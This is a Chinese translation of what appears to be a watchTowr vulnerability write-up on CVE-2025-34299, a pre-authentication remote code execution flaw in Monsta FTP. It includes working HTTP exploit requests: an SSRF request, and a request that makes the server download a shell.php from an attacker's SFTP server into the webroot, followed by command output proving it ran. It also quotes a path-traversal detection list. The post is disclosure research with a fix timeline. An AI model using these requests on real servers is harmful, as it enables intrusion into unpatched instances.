Monsta FTP远程代码执行漏洞分析(CVE-2025-34299)

本文详细分析了Monsta FTP软件中存在的远程代码执行漏洞CVE-2025-34299,包括漏洞原理、利用方法和修复时间线。该漏洞允许攻击者通过恶意SFTP服务器向Monsta FTP服务器写入任意文件,实现代码执行。

那是什么从山丘上来?(Monsta FTP远程代码执行 CVE-2025-34299)

朋友们和其他人,周五快乐。我们很高兴/抱歉听到你这一周过得很好/很糟,现在是周末/但至少周末快到了!

我们今天要做什么,狐狸先生?

今天,在这个看起来太过熟悉的故事中,我们像往常一样天真地开始 - 作为我们在watchTowr客户群中实施的新兴威胁快速响应流程的一部分,复现Monsta FTP中的一个N-day漏洞。

然而,不知何故,我们发现自己不得不讨论另一个零日漏洞。

“Monsta FTP到底是什么?“你可能会问。

Monsta FTP是一个基于Web的FTP客户端,允许用户通过浏览器直接管理和传输远程服务器上的文件,互联网上至少有5,000个实例。

我们说"至少"是因为默认的上下文路径/mftp/可能有一个非预期的副作用,即从通用的互联网范围扫描器中隐藏该技术的暴露情况。

有了外部(S)FTP服务器,就可以连接到该服务器并通过Monsta FTP浏览其内容,使用完整的Web 3/4/5/6/7/8/9.0功能套件 - 在简单易用的界面中上传、下载和修改文件:

拥有从金融机构、企业到过度工程的个人用户的自豪用户群,Monsta FTP对威胁行为者来说是一个有趣的目标 - 更妙的是它是用PHP编写的。

为了所有美好的事物,我们知道 - 使用PHP本身并不会使事物不安全。我们明白。去坐在高速公路中间。那也可能安全,“只是取决于情况”。

就像PHP一样。

N-day是什么

我们的旅程最初是从特定版本的Monsta FTP开始的,具体来说是Monsta FTP 2.10.4。

对于那些生活/呼吸企业使用软件版本号的人来说,这个版本号可能会让你垂涎三尺。对于那些不了解的人,我们只需告诉你们这些狂热者已经知道的事情 - 这不是Monsta FTP的最新版本,在我们研究时最新版本是2025年7月发布的2.11。

擦掉口水,让我们解释一下 - 为什么我们要看一个旧版本?

嗯,我们的研究表明,互联网的很大一部分仍然没有运行最新版本(惊喜!),而且当权者有一些随机理论。

抛开随机理论不谈,Monsta FTP有着令人着迷的漏洞历史。遵循一种普遍不安的直觉,我们开始着手确定先前的漏洞是否已正确修补。

通过查看我们最喜欢、最闪亮的CVE数据库 - 有三个(就是3个)漏洞脱颖而出,据称影响2.10.3。

那只是我们目标2.10.4之前的一个小版本!(看我们,数学!)

CVE-2022-31827:发现Monsta FTP v2.10.3包含通过HTTPFetcher.php中的performFetchRequest函数的服务器端请求伪造(SSRF)。

CVE-2022-27469:发现Monsta FTP v2.10.3允许攻击者执行服务器端请求伪造(SSRF)。

CVE-2022-27468:发现Monsta FTP v2.10.3包含任意文件上传,允许攻击者通过精心制作的文件上传到Web服务器来执行任意代码。

按照常规行动,我们快速部署了两个环境:

  • 一个运行易受攻击的版本2.10.3
  • 一个运行我们的目标实例2.10.4

尽管在版本2.10.3中报告了3个漏洞,但2.10.4中的代码几乎没有变化。

事实上,我们能够识别出有变化的唯一代码纯粹是外观上的。

挠着头质疑周围的现实,我们想知道 - 这是否意味着先前在2.10.3中突出的漏洞实际上存在于后续版本中?

在对世界普遍状态发出恼怒的叹息后,并开始感觉到这即将被恰当地描述为"传奇”,我们继续了。

在上述CVE中有许多参考 - 例如,CVE-2022-31827,服务器端请求伪造漏洞,引用了一个PoC,当我们盲目地向2.10.3和2.10.4发射时,它"如预期"工作,并且很容易复现:

1
2
3
4
5
6
POST /application/api/api.php HTTP/1.1
Host: {{Hostname}}
Content-Length: 275
Content-Type: application/x-www-form-urlencoded

request={"connectionType":"sftp","configuration":{"host":"{{External-SFTP-Server}}","remoteUsername":"zero","initialDirectory":"/tmp/","authenticationModeName":"Password","password":"123456","port":22},"actionName":"fetchRemoteFile","context":{"source":"http://{{External-Server}}/flag.txt"}}

在CVE-2022-27468的参考中,有一个指向YouTube播放列表的链接(因为,当然?)- 但当我们到达那里时,视频已被标记为隐藏:

遵循SSRF报告者与报告RCE漏洞的用户是同一人的怀疑(因此可能与神秘的YouTube播放列表有关),我们在他们的GitHub账户中翻找 - 以防万一他们有过短暂的道德和指南针时刻,阻止他们发布PoC。

但唉,情况并非如此。

鉴于上述情况和代码更改的缺乏,我们得出以下结论:

  1. 一切都很棒
  2. 2.10.3有一个报告的SSRF和RCE漏洞
  3. 2.10.4有相同的SSRF和RCE漏洞,未修复
  4. 一切仍然很棒

如果不确定,应用气泡包装

带着担忧,我们想验证这些漏洞是否在最新版本(研究时) - 版本2.11中仍然存在。

在此期间,代码库经历了重大变化,开发人员在过去的三年里显然很忙。除了主要的新功能外,我们注意到了一个有趣的添加:一个名为inputValidator.php的文件。

这个文件立即脱颖而出。

它引入了在整个应用程序中应用的一系列过滤函数,包括(但不限于)对路径遍历的显式检查和其他输入验证机制:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
/**
 * Check for directory traversal patterns
 */
private static function containsDirectoryTraversal($path) {
    $patterns = [
        '../', '..\\\\', '..%2f', '..%2F', '..%5c', '..%5C',
        '%2e%2e%2f', '%2E%2E%2F', '%2e%2e%5c', '%2E%2E%5C',
        '....//....' // Double encoding attempts
    ];
    
    $lowerPath = strtolower($path);
    foreach ($patterns as $pattern) {
        if (strpos($lowerPath, $pattern) !== false) {
            return true;
        }
    }
    
    return false;
}

还有新引入的函数来验证文件路径:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
 * Validate and sanitize file paths to prevent directory traversal
 */
public static function validateFilePath($path, $allowAbsolute = false) {
    if (!is_string($path)) {
        throw new InvalidArgumentException("Path must be a string");
    }
    
    if (strlen($path) > self::MAX_PATH_LENGTH) {
        throw new InvalidArgumentException("Path too long (max " . self::MAX_PATH_LENGTH . " characters)");
    }
    
    // Check for null bytes
    if (strpos($path, "\\0") !== false) {
        throw new InvalidArgumentException("Path contains null bytes");
    }
    
    // Check for directory traversal patterns
    if (self::containsDirectoryTraversal($path)) {
        throw new InvalidArgumentException("Path contains directory traversal sequences");
    }
    
    // Validate absolute paths if not allowed
    if (!$allowAbsolute && (substr($path, 0, 1) === '/' || preg_match('/^[a-zA-Z]:\\\\\\\\/', $path))) {
        throw new InvalidArgumentException("Absolute paths not allowed");
    }
    
    // Normalize the path
    return PathOperations::normalize($path);
}

我们不会列出所有添加的内容,但请放心 - 如果可以验证,就为其添加了一个函数。

这些新的过滤和验证助手随后应用于整个代码库中,凡是可能处理用户输入的地方(甚至可能包括肯定不处理的地方)。所有精确修复的明显迹象。

乍一看,我们假设这些添加可能代表(或至少涉及)我们一直在讨论的漏洞的修复 - 包括被识别为CVE-2022-27468的RCE。

在我们深入研究代码之前,我们决定做一个快速理智检查:通过对我们已知正确的SSRF漏洞(CVE-2025-31827)的重现器针对最新版本(2.11)进行重放。

令人惊讶?震惊?失望?不可避免地?它仍然有效。

这提出了一个我们忍不住要问的问题:开发人员是否真的知道在哪里修补漏洞?(这也是我们最初提出的问题的礼貌版本)。

或者,他们只是猜测?也许他们从未收到YouTube视频播放列表?也许它实际上只是Taylor Swift的歌曲,随后被隐藏以混淆我们所有人。因此,也许,遵循我们闪亮的理论,他们决定将整个Monsta FTP包裹在表演性的气泡包装中,然后收工。

老实说,在这个阶段以及我们普遍看到的情况,我们不会感到震惊。

无论哪种方式,结果都是一样的:Monsta FTP代码库现在包含广泛使用的验证函数,可能让你感到安全 - 但似乎对它们试图解决的漏洞没有任何实质性影响。

最终,我们搞清楚了

在剖析了感觉像是整体困惑的网络之后,我们能够在理解漏洞本身方面取得一些进展。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
request={ <----[0]
  "connectionType": "sftp",   <----[1]
  "configuration": {  <----[2]
    "host": "{{External-SFTP-Server}}",
    "remoteUsername": "zero",
    "initialDirectory": "/tmp/", <----[3]
    "authenticationModeName": "Password", <----[4]
    "password": "123456",
    "port": 22
  },
  "actionName": "fetchRemoteFile", <----[5]
  "context": {
    "source": "http://{{External-Server}}/flag.txt"
  }
}

一切都从/mftp/application/api/api.php开始:

在[0]处,我们可以看到端点接受一个名为request的主体参数。具体来说,应用程序期望一个结构化的JSON blob作为request的值,Monsta FTP解析并使用它来分派正确的函数。

在[1]处,我们指定一个connectionType - 告诉Monsta FTP我们是连接到FTP还是SFTP服务器。

在[2]处,我们有一个嵌套的JSON blob称为configuration - 包含我们想要连接的外部(S)FTP服务器的详细信息,包括initialDirectory(在[3]处指定)和authenticationModeName(在[4]处指定),以允许用户指定要使用的身份验证类型。

在[5]处,action参数指定我们在成功建立连接后要在Monsta FTP中使用的函数。

这段代码,包含所有可用函数,在下面的switch语句中详细说明:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function validateContextForAction($actionName, $context) {
    switch ($actionName) {
        case 'uploadFile':
        case 'uploadFileToNewDirectory':
        case 'uploadArchive':
            if (isset($context['remotePath'])) {
                $validatedPath = InputValidator::validateFilePath($context['remotePath'], true);
                // Additional upload-specific validation
                if (isset($context['localPath'])) {
                    InputValidator::validateFileUpload($context['localPath'], $validatedPath);
                }
            }
            break;
            
        case 'downloadFile':
        case 'fetchFile':
        case 'getFileContents':
        case 'deleteFile':
            if (isset($context['remotePath'])) {
                InputValidator::validateFilePath($context['remotePath'], true);
            }
            break;
            
        .. snip ..
    }
}

眼光敏锐的读者会很快注意到所有东西都包裹在InputValidators的使用中。

不屈不挠,很快,一个特定的switch case值引起了我们的注意:downloadFile

验证只有在试图做恶意事情时才真正重要 - 但如果按预期使用代码,通常将完全无用。

不出所料,downloadFile switch case映射到同名函数:

1
2
3
4
5
6
public function downloadFile($transferOperation) {
    $this->ensureConnectedAndAuthenticated('DOWNLOAD_OPERATION');

    if (!$this->handleDownloadFile($transferOperation))
        $this->handleMultiTransferError('DOWNLOAD_OPERATION', $transferOperation);
}

当使用Monsta FTP连接到SFTP服务器时,handleDownloadFile映射到application/api/file_sources/connection/SFTPConnection.php

这里,我们的朋友们,事情开始看起来有希望了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
protected function handleDownloadFile($transferOperation) {
    $remoteURL = $this->getRemoteFileURL($transferOperation->getRemotePath());  <---- [0]

     if(copy($remoteURL, $transferOperation->getLocalPath())) <---- [1]
         return true;

    // Check if remote file exists to provide better error information
    $statResult = stat($remoteURL);
    return false; // Copy failed
}

在[0]处,我们可以看到调用了getRemoteFileURL

正如我们在下面看到的,这个函数有效地将两个字符串连接在一起 - 外部SFTP主机和用户控制的参数remotePath中提供的文件路径。

1
2
3
4
5
private function getRemoteFileURL($remotePath) {
    if ($remotePath == '/')
        $remotePath = '/./';
    return "ssh2.sftp://" . $this->sftpConnection . $remotePath;
}

在[1]处的handleDownloadFile中,我们可以看到代码相当简单:执行copy函数将文件从远程SFTP服务器传输到函数getLocalPath指定的位置。

足够令人惊讶的是,函数getLocalPath返回的值是用户控制的 - 它是localPath参数的值。

下面包含的代码,为了详细起见,显示了copy函数如何继续按指示移动文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public function copy($source, $destination) {
    $this->ensureConnectedAndAuthenticated('COPY_OPERATION');
    
    .. snip ..

    for ($i = 0; $i < sizeof($sources); ++$i) {
        $destinationPath = $destinations[$i];
        $destinationDir = PathOperations::remoteDirname($destinationPath);

        $sourcePathAndItem = $sources[$i];

        $sourcePath = $sourcePathAndItem[0];
        $sourceItem = $sourcePathAndItem[1];

        if ($destinationDir != "" && $destinationDir != "/" &&
            array_search($destinationDir, $destinationDirs) === false) {
            $destinationDirs[] = $destinationDir;
            $this->makeDirectoryWithIntermediates($destinationDir);
        }

        if ($sourceItem === null)
            $this->handleCopy($sourcePath, $destinationPath);
        else {
            if ($sourceItem->isDirectory()) {
                if (array_search($destinationPath, $destinationDirs) === false) {
                    $destinationDirs[] = $destinationPath;
                    $this->makeDirectoryWithIntermediates($destinationPath);
                }
            } else {
                $this->handleCopy($sourcePath, $destinationPath);
            }

            $newPermissions[$destinationPath] = $sourceItem->getNumericPermissions();
        }
    }

    .. snip ..
}

很棒,我们猜。

简单就是简单

如果你在家跟着做,你可能会认为这是一个在纸上看起来很棒但在实践中失败的可爱小理论。

以下是想法(令人震惊,我们知道):

  1. 诱骗Monsta FTP连接到我们的远程SFTP主机
  2. 让Monsta FTP下载我们控制的文件
  3. 告诉Monsta FTP将该文件写入Monsta服务器上的任意路径

可爱。

剧透:它实际上有效。

我们启动了一个恶意的SFTP服务器,向Monsta FTP实例发送了一个downloadFile请求,并看着它按照我们担心的方式行为 - 它连接,拉取我们的有效负载,并将其写入指定路径。

以下HTTP请求说明了这将如何工作:

1
2
3
4
5
POST /mftp/application/api/api.php HTTP/1.1
Host: {{Nostname}}
Content-Type: application/x-www-form-urlencoded

request={"connectionType":"sftp","configuration":{"host":"{{External-SFTP-IP}}","remoteUsername":"sftpuser","initialDirectory":"/","authenticationModeName":"Password","password":"password111","port":2222},"actionName":"downloadFile","context":{"remotePath":"/shell.php","localPath":"/var/www/html/mftp/index3.php"}}&csrf_token=6e080f63ea774944feedef49eb77c6fffdd8291b9c6561022696b9222942644e

下面,为了完整起见,我们验证我们的新文件已成功写入指定的文件路径:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
GET /mftp/index3.php HTTP/1.1
Host: {{Hostname}}
HTTP/1.1 200 OK
Date: Fri, 05 Sep 2025 09:43:50 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 75

watchTowr uid=33(www-data) gid=33(www-data) groups=33(www-data)
 watchTowr

所以我们有了它 - 在最新(当时)发布的Monsta FTP中存在一个预认证的远程代码执行漏洞。

虽然我们不能明确确认上述漏洞是否与CVE-2022-27468相同,但我们可以自信地声明,该漏洞已在2025年8月26日发布的版本2.11.3中修补。

截至2025年11月4日,已分配了一个具有更新描述的新CVE:CVE-2025-34299。

叹息。

时间线

日期 详情
2025年8月13日 watchTowr向Monsta FTP开发团队披露WT-2025-0091
2025年8月14日 Monsta FTP确认报告并将很快更新
2025年8月15日 watchTowr在客户攻击面中搜寻与Monsta FTP相关的漏洞
2025年8月26日 Monsta FTP发布版本2.11.3,修复了该漏洞
2025年11月4日 CVE-2025-34299分配给WT-2025-0091
2025年11月6日 watchTowr发布研究
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计